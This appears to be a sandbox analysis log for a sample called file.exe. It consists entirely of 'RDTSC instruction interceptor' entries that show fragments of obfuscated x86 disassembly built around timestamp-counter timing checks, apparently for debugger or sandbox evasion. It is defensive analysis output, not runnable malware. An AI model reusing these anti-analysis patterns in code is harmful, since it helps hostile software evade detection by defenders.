Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA676E second address: AA6774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6417 second address: AA641C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA641C second address: AA642F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF30F40A5Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7165 second address: AA7169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AABC02 second address: AABC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAADF6 second address: AAADFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AACC07 second address: AACC0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AACC0D second address: AACC12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AACCE0 second address: AACCFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30F40A69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AACCFD second address: AACD03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AACD03 second address: AACD07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADD92 second address: AADDFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FDF30D0E2F8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push edi 0x00000029 call 00007FDF30D0E2F8h 0x0000002e pop edi 0x0000002f mov dword ptr [esp+04h], edi 0x00000033 add dword ptr [esp+04h], 00000019h 0x0000003b inc edi 0x0000003c push edi 0x0000003d ret 0x0000003e pop edi 0x0000003f ret 0x00000040 mov dword ptr [ebp+122D2915h], eax 0x00000046 push 00000000h 0x00000048 movsx edi, bx 0x0000004b xchg eax, esi 0x0000004c pushad 0x0000004d jg 00007FDF30D0E2F8h 0x00000053 pushad 0x00000054 push eax 0x00000055 pop eax 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADDFC second address: AADE0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jng 00007FDF30F40A58h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AABD7A second address: AABE09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a sub dword ptr [ebp+122D3562h], edi 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007FDF30D0E2F8h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D2F91h], edi 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e push 00000000h 0x00000040 push edx 0x00000041 call 00007FDF30D0E2F8h 0x00000046 pop edx 0x00000047 mov dword ptr [esp+04h], edx 0x0000004b add dword ptr [esp+04h], 0000001Bh 0x00000053 inc edx 0x00000054 push edx 0x00000055 ret 0x00000056 pop edx 0x00000057 ret 0x00000058 mov dword ptr [ebp+122D1965h], edi 0x0000005e mov eax, dword ptr [ebp+122D024Dh] 0x00000064 add bx, 68A1h 0x00000069 push FFFFFFFFh 0x0000006b add di, 86DDh 0x00000070 nop 0x00000071 push eax 0x00000072 push edx 0x00000073 push ecx 0x00000074 jnl 00007FDF30D0E2F6h 0x0000007a pop ecx 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AABE09 second address: AABE1D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDF30F40A58h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AABE1D second address: AABE22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AABE22 second address: AABE27 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE04E second address: AAE056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0DFF second address: AB0E33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30F40A69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FDF30F40A60h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0E33 second address: AB0E3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FDF30D0E2F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAFF71 second address: AAFF92 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FDF30F40A65h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAFF92 second address: AAFF99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2E48 second address: AB2ED7 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDF30F40A6Eh 0x00000008 jmp 00007FDF30F40A68h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007FDF30F40A58h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c call 00007FDF30F40A66h 0x00000031 or dword ptr [ebp+122D1C5Ah], esi 0x00000037 pop edi 0x00000038 sub dword ptr [ebp+1244C820h], eax 0x0000003e push 00000000h 0x00000040 mov edi, 6F8D8D34h 0x00000045 add edi, 01F9E321h 0x0000004b push 00000000h 0x0000004d movzx ebx, si 0x00000050 xchg eax, esi 0x00000051 push edi 0x00000052 pushad 0x00000053 push esi 0x00000054 pop esi 0x00000055 pushad 0x00000056 popad 0x00000057 popad 0x00000058 pop edi 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push ecx 0x0000005d jo 00007FDF30F40A56h 0x00000063 pop ecx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1068 second address: AB10F7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 mov ebx, dword ptr [ebp+122D28A4h] 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007FDF30D0E2F8h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 call 00007FDF30D0E2F8h 0x0000003e pop eax 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 add dword ptr [esp+04h], 00000018h 0x0000004b inc eax 0x0000004c push eax 0x0000004d ret 0x0000004e pop eax 0x0000004f ret 0x00000050 push eax 0x00000051 mov dword ptr [ebp+122D233Bh], ebx 0x00000057 pop edi 0x00000058 sub dword ptr [ebp+1244C4F6h], ebx 0x0000005e mov bh, 2Bh 0x00000060 mov eax, dword ptr [ebp+122D0905h] 0x00000066 push ebx 0x00000067 mov ebx, dword ptr [ebp+122D1C7Ch] 0x0000006d pop ebx 0x0000006e push FFFFFFFFh 0x00000070 or dword ptr [ebp+122D17F1h], eax 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 push edi 0x0000007a jo 00007FDF30D0E2F6h 0x00000080 pop edi 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB20A8 second address: AB20B2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDF30F40A56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4F82 second address: AB4F99 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jl 00007FDF30D0E2F6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007FDF30D0E2F6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4F99 second address: AB4F9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4F9D second address: AB4FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4FA3 second address: AB500C instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDF30F40A58h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d pushad 0x0000000e mov ax, 5890h 0x00000012 popad 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007FDF30F40A58h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f sub dword ptr [ebp+122D28F3h], edi 0x00000035 push 00000000h 0x00000037 mov di, 8867h 0x0000003b push eax 0x0000003c pushad 0x0000003d jmp 00007FDF30F40A5Eh 0x00000042 pushad 0x00000043 jmp 00007FDF30F40A60h 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7097 second address: AB70B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30D0E2FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007FDF30D0E2F8h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB70B5 second address: AB70BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3124 second address: AB3128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8F95 second address: AB8F9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2369 second address: AC2396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jnp 00007FDF30D0E2F6h 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007FDF30D0E2F6h 0x0000001b jmp 00007FDF30D0E302h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2396 second address: AC23A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDF30F40A5Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC23A6 second address: AC23AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC23AC second address: AC23B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC23B2 second address: AC23B8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2690 second address: AC2696 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC7F73 second address: AC7FAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDF30D0E2FDh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jc 00007FDF30D0E300h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a jnp 00007FDF30D0E2FCh 0x00000020 jnc 00007FDF30D0E2F6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC7FAB second address: AC7FB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC7FB2 second address: AC7FD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FDF30D0E2FEh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC7FD2 second address: AC7FD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC8138 second address: AC8177 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDF30D0E2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jc 00007FDF30D0E2F8h 0x00000013 push edx 0x00000014 jnl 00007FDF30D0E2F6h 0x0000001a pop edx 0x0000001b popad 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 push eax 0x00000021 pushad 0x00000022 push esi 0x00000023 pop esi 0x00000024 jmp 00007FDF30D0E300h 0x00000029 popad 0x0000002a pop eax 0x0000002b mov eax, dword ptr [eax] 0x0000002d push ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 push ebx 0x00000031 pop ebx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC8177 second address: AC818D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jng 00007FDF30F40A60h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC4A3 second address: ACC4C0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FDF30D0E306h 0x00000008 pop edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC4C0 second address: ACC4E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF30F40A69h 0x00000009 js 00007FDF30F40A56h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC4E5 second address: ACC4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jo 00007FDF30D0E329h 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007FDF30D0E2F6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC4FA second address: ACC51B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FDF30F40A67h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC51B second address: ACC51F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC6AC second address: ACC6CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FDF30F40A68h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC80F second address: ACC81C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDF30D0E2F6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC81C second address: ACC828 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FDF30F40A56h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACCBCE second address: ACCC0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF30D0E309h 0x00000009 jmp 00007FDF30D0E308h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACCC0A second address: ACCC0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACCC0E second address: ACCC2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FDF30D0E2F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FDF30D0E2FEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACCC2B second address: ACCC33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACCD66 second address: ACCD6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACCD6A second address: ACCD6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACCD6E second address: ACCD78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACCD78 second address: ACCD7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACCD7C second address: ACCD86 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDF30D0E2F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52887 second address: A5289B instructions: 0x00000000 rdtsc 0x00000002 js 00007FDF30F40A56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007FDF30F40A56h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5289B second address: A528DA instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDF30D0E2F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FDF30D0E307h 0x00000011 pushad 0x00000012 jnp 00007FDF30D0E2F6h 0x00000018 push esi 0x00000019 pop esi 0x0000001a popad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FDF30D0E2FFh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1967 second address: AD196B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1AAA second address: AD1AB4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDF30D0E2F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD20E6 second address: AD20EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD264C second address: AD2659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FDF30D0E2F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC976 second address: ADC97A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC97A second address: ADC993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDF30D0E2FFh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC993 second address: ADC997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC997 second address: ADC9B5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDF30D0E305h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC9B5 second address: ADC9BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC9BB second address: ADC9C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC9C1 second address: ADC9CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC9CD second address: ADC9D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB6B7 second address: ADB6C5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB6C5 second address: ADB6DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FDF30D0E300h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB7F3 second address: ADB7FD instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDF30F40A56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBC78 second address: ADBC82 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDF30D0E2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBDB8 second address: ADBDBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
